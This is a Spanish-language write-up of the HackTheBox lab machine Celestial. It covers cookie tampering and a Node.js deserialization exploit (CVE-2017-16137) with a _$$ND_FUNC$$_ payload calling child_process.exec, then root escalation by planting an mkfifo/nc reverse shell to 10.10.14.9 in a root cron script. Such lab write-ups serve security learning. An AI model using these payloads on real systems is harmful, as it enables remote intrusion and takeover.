· Manuel López Pérez · writeups · 2 min read
WriteUp - Celestial (HackTheBox)
Write-up de Celestial (HackTheBox). Máquina Linux de nivel bajo que explota una deserialización insegura de cookies en Node.js (CVE-2017-16137) para obtener RCE, luego escalada a root abusando de un cron job que ejecuta un script editable.

En este post haremos la máquina Celestial de HackTheBox.Es una maquina Linux de un nivel bajo Mi nick en HackTheBox es: manulqwerty Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.
Write-Up
Enumeración
Como siempre, lo primero sera un escaneo de puertos con nmap:
nmap -sC -sV 10.10.10.85
Tenemos un servicio http en el puerto 3000, vamos a revisarlo:

Vamos a interceptar la request con BurpSuite:
Como veis, la Cookie Profile parece ser un Base 64, nos ayudaremos del Decoder de BurpSuite: 
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}Si modificamos el valor del campo ‘num’ por, por ejemplo, 4 y volvemos a encodear, vemos que la respuesta sera: Hey Dummy 4 + 4 is 44
En cambio si modficamos erróneamente la cookie, obtendremos algo mas de información: 
Explotación
Busquemos vulnerabilidades sobre las cookies en node.js
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/ Siguiendo la guía, podremos obtener RCE con este valor de la cookie:
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"_$$ND_FUNC$$_function (){\\n \\t require('child_process').exec('ping -c 10.10.14.16 /',function(error, stdout, stderr) { console.log(stdout) });\\n }()"}
Y con ayuda del Reverse Shell Cheat-Sheet podremos obtener reverse shell facilmente: 
Post-Explotación
Como veis, el usuario con el que obtenemos shell forma parte de algunos grupos interesantes:
Aprovechando que formamos parte del grupo adm, podremos leer los logs del sistema: 
cat /var/log/syslog
En este fichero vemos que cada 5 minutos se ejecuta como root el fichero /home/sun/Documents/script.py El siguiente paso será editar dicho fichero con una reverse shell:
#!/usr/bin/env python
import os
import sys
try: os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 7777 >/tmp/f')
except: sys.exit()
